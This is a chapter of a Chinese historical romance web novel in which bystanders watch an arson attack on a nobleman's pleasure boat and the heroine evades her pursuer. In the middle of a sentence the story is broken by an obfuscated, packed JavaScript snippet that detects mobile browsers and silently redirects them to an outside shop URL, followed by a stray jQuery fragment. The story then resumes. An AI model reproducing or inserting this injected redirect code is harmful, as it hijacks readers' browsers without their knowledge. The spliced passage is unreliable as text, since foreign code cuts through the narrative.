冯如愿看了浣清溪一眼,浣清溪瞪了眼道:“看什么,又不是我干的!”
冯如愿“哼”了一声道:“知道你没那个本事。”
画舫上人倒是镇定,始终不见有人惊叫乱跑。
直到外面火瓶投掷的势头稍减,才有一小波家仆从仓中有序地奔跑而出,他们迅速分成两队,一组手执盾牌在前护卫,一组隐身在盾后举弓搭箭。
只听一声响亮的呼哨,包抄画舫的船上众人齐刷刷跃入水中,而画舫上的羽箭也开始向着四面射出,只是多半都入了水。
岸上看热闹的百姓越来越多,个个伸长了脖子想看这罕见的大热闹,桥上岸边挤成一团。
偏偏浣清溪最爱瞧热闹,拉了蜜糖和冯如愿死死挤在前面。五儿又怕后面人群将浣清溪挤入河中,只得紧随着护卫。
沈秋盈人小,被挡了视线十分心急,竟趁乱脱开身子手脚并用胡乱爬上桂树去。
画舫上的家仆放了一阵箭,直到确信不见了刺客,这才忙着清理火瓶。舱内陆续奔出许多丫鬟,抱了水袋出来灭火。
同时,画舫不再在河面上徜徉,而是飞速向着最近的岸边驶来。
眼看着船还未靠岸,火瓶已经被清理了大概,火也灭了大半,这速度看得浣清溪张大了嘴巴。
冯如愿摇头道:“这船建造之时便考虑到了防火,船板外全包覆了铁皮,船内又常备着大量水袋,窗扇的明瓦亦有防火之效,只靠这些火瓶成不了什么大事!”
浣清溪道:“他们造船时竟想得这样周全,看来纵火的人也是没打听明白,白白浪费体力。”
冯如愿道:“引火用的火瓶多是桐油之类,即便这船不包覆铁皮,用火瓶也不易引燃。这群人虽然组织有素,但实在法子有限,看来多半是没什么背景的。”
浣清溪好奇道:“依你说,像这般防火极好的船,却怎样才能引燃?”
冯如愿食指抠着下巴认真想了一会儿,半晌突然警觉问道:“你问这个做什么?”
浣清溪嬉笑道:“我能做什么?不过就是顺嘴问问罢了。”
冯如愿哼一声,闭紧了嘴巴不理她。
眼看画舫已靠岸,船上人却并不急着露面,仍由家仆持弓箭对着岸上百姓虎视眈眈。
而岸上早已挤得水泄不通,无处下脚。
此时五城兵马司的人马方才匆匆赶到。
火兵们提着汲水器灭了余下的火,数队人马高声喝叫着驱散看热闹的人群,追赶捉拿一些嫌疑人等,同时在岸边围隔开一片安全区域。
浣清溪慌忙重新用帕子遮了脸,缩了脖子躲在冯如愿身后偷偷去看画舫上下来的人。
此时才在兵士与家仆的多重护卫下,从画舫上下来了锦衣华服哭哭啼啼的一众人,看去是一大家子在此家宴。
走在中间哭得梨花带雨的倒是个熟面孔,只是却并不是吕明月,而是任尔尔!
原来今日是任尔尔向吕明月借了船,带了家中兄弟姊妹姑嫂侄姨的在此宴饮游玩,不想竟平白受了好大一场惊吓!
所幸画舫上常驻着一队训练有素的家仆丫鬟,加上她们今日也带了许多随从,总算是有惊无险。只是这些人平日里养尊处优惯了的,哪里见过这种场面,多是吓得脚也软了,只能被人搀扶着下了船。
任尔尔本就生得十分美貌,一袭流霞色衣裙更是夺人眼目,此时满面泪痕犹如西子捧心般可怜动人。她被一名男子扶着下了船,一边擦泪一边缓缓往岸边走。
浣清溪小声道:“啊,竟然是任尔尔?”
半晌不见冯如愿答话,她抬头看了眼冯如愿,却见冯如愿双眼亮得惊人,正一眨不眨地盯着任尔尔,低声道:“任麟……他也来了……”
“任麟?那是谁?”
冯如愿紧紧攥住衣角,盯着河岸,语气少见地轻柔了起来:“任麟……他是任尔尔的二哥。”
浣清溪顺着她的目光看去,只见扶着任尔尔的那名男子似有所觉般也向这边扫了一眼,照面那一刻浣清溪也忍不住暗叹:真是生得好相貌!
只见他身形修长清癯,面如冠玉双目如漆,一点红唇似弯非弯,面目中颇与任尔尔有些相似处,却又多了几分硬朗。其通身儒雅清冷的贵公子气显然不是小潘安卖油郎之辈所能相比的。
任麟拂了拂被夜风吹起的衣袍,低声安慰了任尔尔几句,扶着她上了马车。他自己则系了披风,上了马,跟在马车后缓缓行去。
冯如愿目送他们渐行渐远,庆幸道:“幸好不曾伤了他……”接着又有些懊恼,“是我今日疏忽了,都不曾换件衣裳,也不知他看见了我没有……”
浣清溪回头瞧着冯如愿有些发红的脸颊和闪闪发亮的眼睛,突然福至心灵,恍然明白了什么。
兵马司还在不断加紧驱赶人群,浣清溪不想再理丢了魂魄一般的冯如愿,只缩了脖子低声对蜜糖五儿道:“咱们还是赶紧走,免得被发现了。小胖子跑哪去了?”
此时只听见桥下那棵大桂树上传来一阵杀猪般的嚎叫声:“救命!救命!要断了!快救我!”
是沈秋盈!
原来小胖子个子矮小,挤在人堆里什么都瞧不见,急得直跳脚。他满心只想瞧热闹,左右寻找之下便偷偷爬上了大桂树。不想桂树树枝细条了些,他又生得滚圆,热闹瞧完他就傻了眼——完全下不来!
此时树枝又“噼噼啪啪”一阵炸响,看去随时都要断掉,吓得沈秋盈魂都要没了,只能哭喊救命。
浣清溪三人听见哭喊声,正要去救,却听见人群中有人高叫了声“秋盈!”
的的马蹄声中,一个骑马的身影飞快靠近了桂树,接着伸手一捞,就将沈秋盈从树上捞了下来。
浣清溪仔细一瞅,吓得立刻矮了身子躲到了五儿身后,心里暗暗叫苦——又是沈秋白!
沈秋白本就是西城兵马司指挥使,今夜正忙着巡城,如今在他辖下出了左相私船被纵火的事,船上又是
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17729219|208922||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
应京府尹大人的亲眷,都与当今皇后娘娘有亲故的,本就够他忙的了。
冷不防竟听见沈秋盈的声音叫喊救命,策马捞过来一看,当真是他的好弟弟,一时不由又惊又怒道:“秋盈,你怎么在这?!你不是应当在家吗,谁带你跑这来的?”
沈秋盈抬眼看见大哥,也有些傻眼了,不由就拿眼去找浣清溪。
沈秋白也跟着他的眼神去搜寻。
沈秋盈四下看看,突然醒悟过来,咬牙将头撞到大哥怀中叫道:“谁也没有带我,是我自己来的!我听说有热闹可瞧就跑出来了!谁也没有!”
沈秋白怎么可能会信,他往周围扫视一圈,提起沈秋盈的衣领道:“今日事多,等回家再跟你慢慢算账!”
沈秋盈吓得一个激灵,两手攥紧沈秋白的衣裳,使劲往他怀中拱,也不说话。
沈秋白无暇多耽搁,将他脑袋夹在腋下,策马走了。
沈秋盈露出脑袋来,还不忘冲浣清溪使劲眨眼,手里比画着什么。
这边广汉从人群中冒出头来,拍了拍失神的冯如愿道:“如愿,你怎么自己跑了?我打完架就看不见你,找你半天了。听说方才这边有人纵火闹事,没伤到你吧?”
冯如愿眼睛勉强聚了神,答道:“我没事。我出来是来寻浣……咦,人呢?”
浣清溪三人早就趁乱开溜了。
冯如愿叹了口气,她摸了摸自己的脸和头发,又整了整衣裳,问道:“广汉,我现在……什么样子?难不难看?”
广汉被她问得摸不着头脑:“你……不是向来都是这个样子?哪里难看?怎么,难不成被打到头了?让我看看……”
冯如愿避开广汉伸出的手,有些垂头丧气:“走吧,别闹了。兵马司都赶人了。”
浣清溪三人悄悄从唐家宝家溜回住处,幸喜无人撞见。
秋云免不了埋怨五儿没有好生看着,致使浣清溪伤了鼻子。
五儿气哼哼道:“谁知道她这样刁钻生事!专一爱往人多的地方钻,什么事都要往上凑!换谁能想到时刻看着她的鼻子?这小姐,上辈子怕是个猴吧?”
浣清溪闻言不乐意了:“说谁是猴呢?我又没有上树,怎么就是猴了?不就是碰着了鼻子,用不着你管!”
五儿白她一眼哼了一声,转身咣当摔上了柴房的门,自去睡觉了。
蜜糖吐了吐舌头道:“脾气还挺大!”
秋云叹口气,打了热水给浣清溪擦脸洗脚,口中念叨:“她那脾气自来惯了的,小姐不要同她计较。只是小姐伤在脸上,明日里还是要找个大夫来好好瞧一瞧。如今染色还未褪,又添了新伤,明日书院怕是去不得了。”
浣清溪正巴不得不去书院,忙接口道:“是呢,这哪里能去?明日一早就要看大夫,还要养上几日呢!告诉爹爹我不小心摔伤了鼻子,叫人去德慧院给我告几日假。”
秋云哪里会不知道她的心思,笑说知道了,哄了她去上床睡觉。